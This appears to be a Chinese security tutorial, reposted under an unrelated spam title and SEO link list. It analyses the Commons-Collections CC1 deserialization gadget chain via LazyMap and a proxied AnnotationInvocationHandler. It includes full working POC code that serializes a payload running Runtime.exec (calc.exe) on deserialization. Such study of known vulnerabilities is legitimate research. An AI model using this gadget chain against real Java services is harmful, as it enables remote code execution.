当前位置: 首页 > news >正文

怎么自己编程做网站二级造价师

怎么自己编程做网站,二级造价师,模板多少钱一平方,做微推的网站前言 在我们上一篇中详细分析了CC1链#xff0c;但是在CC1链中还有一条链就是LazyMap类 1.安装和CC1核心 环境安装的详情可以见上篇CC1分析的第二部分#xff0c;环境搭建部分 两条不同的路线其实第一步核心都是相同的#xff0c;执行类都是Tansformer接口和实现类#…前言 在我们上一篇中详细分析了CC1链但是在CC1链中还有一条链就是LazyMap类 1.安装和CC1核心 环境安装的详情可以见上篇CC1分析的第二部分环境搭建部分 两条不同的路线其实第一步核心都是相同的执行类都是Tansformer接口和实现类详情可见上篇CC1分析的第三部分 Commons-Collections篇-CC1链小白基础分析学习 2.Gadget寻找哪些调用了执行类 在上一篇中调用链找的是TransformedMap但是本篇也是在这里重新出发找的是LazyMap方法 我们可以看到LazyMap也是能够进行序列化满足我们调用链的寻找要求 在get方法中首先就要进行一个if判断判断成功才会执行transform方法 if (map.containsKey(key) false) containsKey方法根据描述来说用于检查一个特定的键 key 是否不存在于 map 这个映射或称为字典、哈希表中如果存在的话就返回true 所以想要满足这个if语句我们需要传入一个map数组中不存在的key键名称即可 查看LazyMap方法可以看到factory我们是可以控制的但是直接调用该方法是受到保护的继续寻找发现有一个公开的静态decorate方法返回了一个LazyMap实例 所以我们构造一个poc传入的是我们之前分析的执行类InvokerTransformer public class test {public static void main(String[] args) throws Exception {InvokerTransformer test new InvokerTransformer(exec,new Class[]{String.class},new String[]{C:\\windows\\system32\\calc.exe});Map map new HashMap();Map Lazy LazyMap.decorate(map,test);Lazy.get(Runtime.getRuntime());} }3.(Source) 寻找入口类 我们已经找到LazyMap类中的get方法能够调用咱们分析的执行类所以我们接下来寻找并分析入口类 和之前的CC1分析类似也是找到了AnnotationInvocationHandler这个类但是方法不一样上一篇是分析了readObject方法这一次是invoke方法 既然找到这个方法确认为入口点怎么来进行触发呢他和readObject类似当进行反序列化时就会自动调用readObject 当进行动态代理一个类被动态代理了之后想要通过代理调用这个类的方法就一定会调用 invoke() 方法 所以我们只需要创建一个使用AnnotationInvocationHandler作为处理器的代理对象动态代理并无参调用该代理对象中的方法即可 正好在readObject中可控的memberValues调用了entrySet方法恰好是个无参方法 在这里调用了entrySet()方法也就是说如果我们将 memberValues 的值改为代理对象当调用代理对象的方法那么就会跳到执行 invoke() 方法最终完成整条链子的调用 第一步我们先通过反射得到AnnotationInvocationHandler类的构造方法设置可以访问并将Override.class, Lazy传入构造器创建一个实例invocationHandler Class a Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor aDe a.getDeclaredConstructor(Class.class, Map.class); aDe.setAccessible(true); InvocationHandler invocationHandler (InvocationHandler) aDe.newInstance(Override.class, Lazy);用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyMap并动态代理前面的invocationHandler方法 Map proxyMap (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);根据代理对象proxyMap重新创建了一个实例 invocationHandler (InvocationHandler) aDe.newInstance(Override.class,proxyMap);所以整体的一个思路为反序列化后readobject自动触发代理类的无参方法进入代理的处理类invoke,走LazyMap的get方法 4.POC编写 public class test {public static void main(String[] args) throws Exception {Transformer[] transformers new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer(forName,new Class[] {String.class},new Object[] {java.lang.Runtime}),new InvokerTransformer(getMethod,new Class[] {String.class,Class[].class},new Object[] {getRuntime,new Class[0]}),new InvokerTransformer(invoke,new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer(exec,new Class[] {String.class},new String[]{C:\\windows\\system32\\calc.exe})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);Map map new HashMap();Map Lazy LazyMap.decorate(map,chainedTransformer);Class a Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor aDe a.getDeclaredConstructor(Class.class, Map.class);aDe.setAccessible(true);InvocationHandler invocationHandler (InvocationHandler) aDe.newInstance(Override.class, Lazy);Map proxyMap (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);invocationHandler (InvocationHandler) aDe.newInstance(Override.class,proxyMap);serializable(invocationHandler); // unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis new FileInputStream(obj1);ObjectInputStream ois new ObjectInputStream(fis);Object o ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException {FileOutputStream fos new FileOutputStream(obj1);ObjectOutputStream os new ObjectOutputStream(fos);os.writeObject(o);os.close();}我们在序列化到文件之后进行反序列化poc测试 public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis new FileInputStream(obj1);ObjectInputStream ois new ObjectInputStream(fis);Object o ois.readObject();return o;}}5. 修复 官方推荐是将jdk版本升级到jdk8u71 在8u71版本之后AnnotationInvocationHandler类被重写了修改了readObject方法里面没有了setValue方法。 这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法 第593行新建了一个名为mv的LinkedHashMap然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值所有的操作都是基于这个新建的LinkedHashMap操作的所以至此利用链就断开了无法按照我们的预期进行。 6.总结 整体的调用链大概是这个样子 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 在调试和运行中发现调试中会多次弹出计算器而运行只会在反序列化中触碰 在调试模式下由于IDE的行为例如在断点处重新加载类或对象可能导致AnnotationInvocationHandler的invoke方法被多次调用从而意外地触发了Transformer链中的操作导致计算器被启动。
http://www.pierceye.com/news/73821/

相关文章:

  • 网站建设所需人力wordpress版权
  • 商城系统网站建设西安建站
  • 广州市建设工程造价站网站公司营业执照注册
  • 网站建设网站模板wordpress漂亮破解主题
  • 域名买好怎么开始做网站网站建设时程序的作用
  • 什么网站可以做高数百度推广做网站什么价位
  • 桂林微信网站软件app下载免费
  • led论坛网站建设网站建设的空间是什么意思
  • 网站开发人员构成电商系统源码公司哪家好
  • 有没有帮忙做问卷调查的网站wordpress段子模板
  • 网站建设 主要学是么html5修改器下载
  • 培训类网站模板淄博建设企业网站
  • 大同做网站网站推广效果分析
  • 漳州网站建设公司推荐网站快速备案被退回的几种原因分析
  • iis禁止通过ip访问网站做高仿网站有哪些
  • 怎样做网站教程疯狂的大叔 wordpress
  • 高权重网站做员会来顶排名建筑网站水泡网
  • 哪里做网站排名网站备案的影响
  • 天津网站建设举措怎么修改别人做的网站
  • 网站程序授权码辽宁建筑工程信息网
  • 做网站的策划需要做什么微信公众号的微网站怎么做
  • 在线做数据图的网站邵阳网站建设
  • 网站开发语言作用网站名称有哪些
  • vs做网站登录界面旅游网站建设规划报告怎么写
  • 企业综合型网站建设方案台州网站建设推广公司
  • 贵州网站建设设计公司西安百度爱采购推广
  • 西安教育类网站建设公司wordpress怎么批量移动分类
  • 网站验收百度收录网站怎么更改关键词
  • 六盘水南宁网站建设电商运营推广的方式和渠道有哪些
  • 宝山网站建设方案家居网站建设哪家好